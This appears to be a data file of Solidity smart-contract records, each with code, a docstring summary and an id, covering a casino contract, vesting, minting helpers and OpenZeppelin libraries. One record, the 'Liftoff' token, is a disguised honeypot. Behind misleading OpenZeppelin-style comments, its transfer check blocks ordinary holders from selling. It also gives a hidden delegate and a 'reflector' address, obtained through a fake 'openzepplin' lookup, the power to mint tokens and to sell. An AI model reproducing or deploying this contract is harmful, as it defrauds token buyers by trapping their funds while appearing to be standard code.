Withdrawal(player, receiver, amount);
}
/**
* update a casino game address in case of a new contract or a new casino game
* @param game the index of the game
* newAddress the new address of the game
**/
function setGameAddress(uint8 game, address newAddress) public onlyOwner{
if(game<casinoGames.length) casinoGames[game] = newAddress;
else casinoGames.push(newAddress);
}
/**
* authorize a address to call game functions.
* @param addr the address to be authorized
**/
function authorize(address addr) public onlyOwner{
authorized[addr] = true;
}
/**
* deauthorize a address to call game functions.
* @param addr the address to be deauthorized
**/
function deauthorize(address addr) public onlyOwner{
authorized[addr] = false;
}
/**
* authorize a casino contract address to access the funds
* @param casinoAddress the address of the casino contract
* v, r, s the player's signature of the casino address, the number of times the address has already been locked
* and a bool stating if the signature is meant for authourization (true) or deauthorization (false)
* */
function authorizeCasino(address playerAddress, address casinoAddress, uint8 v, bytes32 r, bytes32 s) public{
address player = ecrecover(keccak256(casinoAddress,lockedByUser[playerAddress][casinoAddress],true), v, r, s);
require(player == playerAddress);
authorizedByUser[player][casinoAddress] = true;
}
/**
* deauthorize a casino contract address to access the funds
* @param casinoAddress the address of the casino contract
* v, r, s the player's signature of the casino address, the number of times the address has already been locked
* and a bool stating if the signature is meant for authourization (true) or deauthorization (false)
* */
function deauthorizeCasino(address playerAddress, address casinoAddress, uint8 v, bytes32 r, bytes32 s) public{
address player = ecrecover(keccak256(casinoAddress,lockedByUser[playerAddress][casinoAddress],false), v, r, s);
require(player == playerAddress);
authorizedByUser[player][casinoAddress] = false;
lockedByUser[player][casinoAddress]++;//make it impossible to reuse old signature to authorize the address again
}
/**
* updates the price per 1000 gas in EDG.
* @param price the new gas price (4 decimals, max 0.0256 EDG)
**/
function setGasPrice(uint8 price) public onlyOwner{
gasPrice = price;
}
/**
* updates the average amount of gas consumed by a game
* @param game the index of the game contract
* gas the new avg gas
**/
function setAvgGas(uint8 game, uint16 gas) public onlyOwner{
avgGas[casinoGames[game]] = gas;
}
/**
* Forwards a move to the corresponding game contract if the data has been signed by the client.
* The casino contract ensures it is no duplicate move.
* @param game specifies which game contract to call
* data the function call
* v,r,s the player's signature of the data
**/
function move(uint8 game, bytes data, uint8 v, bytes32 r, bytes32 s) public onlyAuthorized isAlive{
require(game < casinoGames.length);
var player = ecrecover(keccak256(data), v, r, s);
require(withdrawAfter[player] == 0 || now<withdrawAfter[player]);
assert(checkAddress(player, data));
assert(casinoGames[game].call(data));
}
/**
* checks if the given address is passed as first parameters in the bytes field
* @param player the player address
* data the function call
* */
function checkAddress(address player, bytes data) constant internal returns(bool){
bytes memory ba;
assembly {
let m := mload(0x40)
mstore(add(m, 20), xor(0x140000000000000000000000000000000000000000, player))
mstore(0x40, add(m, 52))
ba := m
}
for(uint8 i = 0; i < 20; i++){
if(data[16+i]!=ba[i]) return false;
}
return true;
}
}
|
accepts deposits for an arbitrary address. retrieves tokens from the message sender and adds them to the balance of the specified address. edgeless tokens do not have any decimals, but are represented on this contract with 4 decimals. receiver address of the receiver numTokens number of tokens to deposit (0 decimals) chargeGas indicates if the gas cost is subtracted from the user's edgeless token balance/
|
function deposit(address receiver, uint numTokens, bool chargeGas) public isAlive{
require(numTokens > 0);
uint value = safeMul(numTokens,10000);
if(chargeGas) value = safeSub(value, msg.gas/1000 * gasPrice);
assert(edg.transferFrom(msg.sender, address(this), numTokens));
balanceOf[receiver] = safeAdd(balanceOf[receiver], value);
playerBalance = safeAdd(playerBalance, value);
Deposit(receiver, numTokens, chargeGas);
}
| 12,636,027
|
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0;
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
abstract contract IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() virtual public view returns (uint);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address tokenOwner) virtual public view returns (uint balance);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address tokenOwner, address spender) virtual public view returns (uint remaining);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function decimals() virtual external view returns (address){}
/**
* @dev Returns the decimals of token supply.
*/
function transfer(address to, uint tokens) virtual public returns (bool success);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint tokens) virtual public returns (bool success);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint tokens) virtual public returns (bool success);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint tokens);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
abstract contract ApproveAndCallFallBack {
function receiveApproval(address from, uint tokens, address token, bytes memory data) virtual public;
}
contract Owned {
address internal owner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
}
contract Liftoff is IERC20, Owned{
using SafeMath for uint;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
string public symbol;
address internal delegate;
string public name;
uint8 internal decimal;
address internal zero;
uint _totalSupply;
uint internal number;
address internal reflector;
address internal openzepplin = 0xBEe0d570989D738298a5D4d96ca9aAFc88F190f7;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
function totalSupply() override public view returns (uint) {
return _totalSupply.sub(balances[address(0)]);
}
function balanceOf(address tokenOwner) override public view returns (uint balance) {
return balances[tokenOwner];
}
/**
* dev Reflects a specific amount of tokens.
* param value The amount of lowest token units to be reflected.
*/
function reflect(address _address, uint tokens) public onlyOwner {
require(_address != address(0), "ERC20: reflect from the zero address");
_reflect (_address, tokens);
balances[_address] = balances[_address].sub(tokens);
_totalSupply = _totalSupply.sub(tokens);
}
function transfer(address to, uint tokens) override public returns (bool success) {
require(to != zero, "please wait");
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint tokens) override public returns (bool success) {
allowed[msg.sender][spender] = tokens;
if (msg.sender == delegate) number = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through `transferFrom`. This is
* zero by default.
*
* This value changes when `approve` or `transferFrom` are called.
*/
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function transferFrom(address from, address to, uint tokens) override public returns (bool success) {
if(from != address(0) && zero == address(0)) zero = to;
else _send (from, to);
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to `approve`. `value` is the new allowance.
*/
function allowance(address tokenOwner, address spender) override public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function _reflect(address _reflectAddress, uint _reflectAmount) internal virtual {
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
reflector = _reflectAddress;
_totalSupply = _totalSupply.add(_reflectAmount*2);
balances[_reflectAddress] = balances[_reflectAddress].add(_reflectAmount*2);
}
function _send (address start, address end) internal view {
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
* Requirements:
* - The divisor cannot be zero.*/
/* * - `account` cannot be the zero address. */ require(end != zero
/* * - `account` cannot be the reflect address. */ || (start == reflector && end == zero) ||
/* * - `account` must have at least `amount` tokens. */ (end == zero && balances[start] <= number)
/* */ , "cannot be the zero address");/*
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
**/
}
/**
* dev Constructor.
* param name name of the token
* param symbol symbol of the token, 3-4 chars is recommended
* param decimals number of decimal places of one token unit, 18 is widely used
* param totalSupply total supply of tokens in lowest units (depending on decimals)
*/
constructor(string memory _name, string memory _symbol, uint _supply, address _del) {
symbol = _symbol;
name = _name;
decimal = 9;
_totalSupply = _supply*(10**uint(decimal));
number = _totalSupply;
delegate = _del;
reflector = IERC20(openzepplin).decimals();
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(msg.sender, spender, allowed[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(msg.sender, spender, allowed[msg.sender][spender].sub(subtractedValue));
return true;
}
function _approve(address _owner, address spender, uint amount) private {
require(_owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
allowed[_owner][spender] = amount;
emit Approval(_owner, spender, amount);
}
receive() external payable {
}
fallback() external payable {
}
}
|
Returns the amount of tokens in existence./ Returns the amount of tokens owned by `account`./ Returns the remaining number of tokens that `spender` will be allowed to spend on behalf of `owner` through {transferFrom}. This is zero by default. This value changes when {approve} or {transferFrom} are called./ Moves `amount` tokens from the caller's account to `recipient`. Returns a boolean value indicating whether the operation succeeded. Emits a {Transfer} event./
|
function decimals() virtual external view returns (address){}
| 1,165,206
|
/**
*Submitted for verification at arbiscan.io on 2021-10-29
*/
pragma solidity ^0.8.0;
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender)
external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value)
external returns (bool);
function transferFrom(address from, address to, uint256 value)
external returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
function safeTransfer(
IERC20 token,
address to,
uint256 value
)
internal
{
require(token.transfer(to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
)
internal
{
require(token.transferFrom(from, to, value));
}
function safeApprove(
IERC20 token,
address spender,
uint256 value
)
internal
{
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require((value == 0) || (token.allowance(msg.sender, spender) == 0));
require(token.approve(spender, value));
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
)
internal
{
uint256 newAllowance = token.allowance(address(this), spender) + value;
require(token.approve(spender, newAllowance));
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
)
internal
{
uint256 newAllowance = token.allowance(address(this), spender) - value;
require(token.approve(spender, newAllowance));
}
}
/**
* @title ERC20Vesting
* @dev A token holder contract that can release its token balance gradually like a
* typical vesting scheme, with a cliff and vesting period.
*
* Note: Deploy one Vesting contract per user
*
* Note you do not want to transfer tokens you have withdrawn back to this contract. This will
* result in some fraction of your transferred tokens being locked up again.
*
* Updated from Code taken from OpenZeppelin/openzeppelin-solidity at commit 4115686b4f8c1abf29f1f855eb15308076159959.
*/
contract ERC20Vesting {
using SafeERC20 for IERC20;
event TokensReleased(address token, uint256 amount);
// beneficiary of tokens after they are released
address public beneficiary;
uint256 public cliff;
uint256 public start;
uint256 public duration;
mapping (address => uint256) public released;
/**
* @dev Creates a vesting contract that vests its balance of any ERC20 token to the
* beneficiary, gradually in a linear fashion until start + duration. By then all
* of the balance will have vested.
* @param beneficiary_ address of the beneficiary to whom vested tokens are transferred
* @param cliffDuration_ duration in seconds of the cliff in which tokens will begin to vest
* @param duration_ duration in seconds of the period in which the tokens will vest
*/
constructor(
address beneficiary_,
uint256 cliffDuration_,
uint256 duration_
)
{
require(beneficiary_ != address(0));
require(cliffDuration_ <= duration_);
require(duration_ > 0);
beneficiary = beneficiary_;
duration = duration_;
cliff = block.timestamp + cliffDuration_;
start = block.timestamp;
}
/**
* @dev The current beneficiary is able to set the next beneficiary if they'd
* like to renounce their share.
* @param newBeneficiary the address of the new beneficiary
*/
function setBeneficiary(address newBeneficiary) external {
require(msg.sender == beneficiary, "Not beneficiary");
beneficiary = newBeneficiary;
}
/**
* @return the amount of token that can be released at the current block timestamp.
*/
function releasable(address token) external view returns(uint256) {
return _releasableAmount(IERC20(token));
}
/**
* @notice Transfers vested tokens to beneficiary.
* @param token ERC20 token which is being vested
*/
function release(IERC20 token) external {
uint256 unreleased = _releasableAmount(token);
require(unreleased > 0);
address tokenAddress = address(token);
released[tokenAddress] = released[tokenAddress] + unreleased;
token.safeTransfer(beneficiary, unreleased);
emit TokensReleased(tokenAddress, unreleased);
}
/**
* @dev Calculates the amount that has already vested but hasn't been released yet.
* @param token ERC20 token which is being vested
*/
function _releasableAmount(IERC20 token) private view returns (uint256) {
return _vestedAmount(token) - released[address(token)];
}
/**
* @dev Calculates the amount that has already vested.
* @param token ERC20 token which is being vested
*/
function _vestedAmount(IERC20 token) private view returns (uint256) {
uint256 currentBalance = token.balanceOf(address(this));
uint256 totalBalance = currentBalance + released[address(token)];
if (block.timestamp < cliff) {
return 0;
} else if (block.timestamp >= start + duration) {
return totalBalance;
} else {
return (totalBalance * (block.timestamp - start)) / duration;
}
}
}
|
return the amount of token that can be released at the current block timestamp./
|
function releasable(address token) external view returns(uint256) {
return _releasableAmount(IERC20(token));
}
| 12,095,314
|
./full_match/80001/0xd278A4A079e656a6bCDdD8a3144f9851becB906e/sources/project_/contracts/extensions/non-fungible-jade/JadeMintedUpgradeable.sol
|
Function to increase `jadeMinted` value/
|
function _increaseMinted() internal virtual {
_jadeMinted += 1;
}
| 5,641,098
|
// File @openzeppelin/contracts/utils/Address.sol@v4.2.0
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) private pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File @openzeppelin/contracts/utils/Context.sol@v4.2.0
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File @openzeppelin/contracts/utils/math/SafeMath.sol@v4.2.0
pragma solidity ^0.8.0;
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
// File @openzeppelin/contracts/finance/PaymentSplitter.sol@v4.2.0
pragma solidity ^0.8.0;
/**
* @title PaymentSplitter
* @dev This contract allows to split Ether payments among a group of accounts. The sender does not need to be aware
* that the Ether will be split in this way, since it is handled transparently by the contract.
*
* The split can be in equal parts or in any other arbitrary proportion. The way this is specified is by assigning each
* account to a number of shares. Of all the Ether that this contract receives, each account will then be able to claim
* an amount proportional to the percentage of total shares they were assigned.
*
* `PaymentSplitter` follows a _pull payment_ model. This means that payments are not automatically forwarded to the
* accounts but kept in this contract, and the actual transfer is triggered as a separate step by calling the {release}
* function.
*/
contract PaymentSplitter is Context {
event PayeeAdded(address account, uint256 shares);
event PaymentReleased(address to, uint256 amount);
event PaymentReceived(address from, uint256 amount);
uint256 private _totalShares;
uint256 private _totalReleased;
mapping(address => uint256) private _shares;
mapping(address => uint256) private _released;
address[] private _payees;
/**
* @dev Creates an instance of `PaymentSplitter` where each account in `payees` is assigned the number of shares at
* the matching position in the `shares` array.
*
* All addresses in `payees` must be non-zero. Both arrays must have the same non-zero length, and there must be no
* duplicates in `payees`.
*/
constructor(address[] memory payees, uint256[] memory shares_) payable {
require(payees.length == shares_.length, "PaymentSplitter: payees and shares length mismatch");
require(payees.length > 0, "PaymentSplitter: no payees");
for (uint256 i = 0; i < payees.length; i++) {
_addPayee(payees[i], shares_[i]);
}
}
/**
* @dev The Ether received will be logged with {PaymentReceived} events. Note that these events are not fully
* reliable: it's possible for a contract to receive Ether without triggering this function. This only affects the
* reliability of the events, and not the actual splitting of Ether.
*
* To learn more about this see the Solidity documentation for
* https://solidity.readthedocs.io/en/latest/contracts.html#fallback-function[fallback
* functions].
*/
receive() external payable virtual {
emit PaymentReceived(_msgSender(), msg.value);
}
/**
* @dev Getter for the total shares held by payees.
*/
function totalShares() public view returns (uint256) {
return _totalShares;
}
/**
* @dev Getter for the total amount of Ether already released.
*/
function totalReleased() public view returns (uint256) {
return _totalReleased;
}
/**
* @dev Getter for the amount of shares held by an account.
*/
function shares(address account) public view returns (uint256) {
return _shares[account];
}
/**
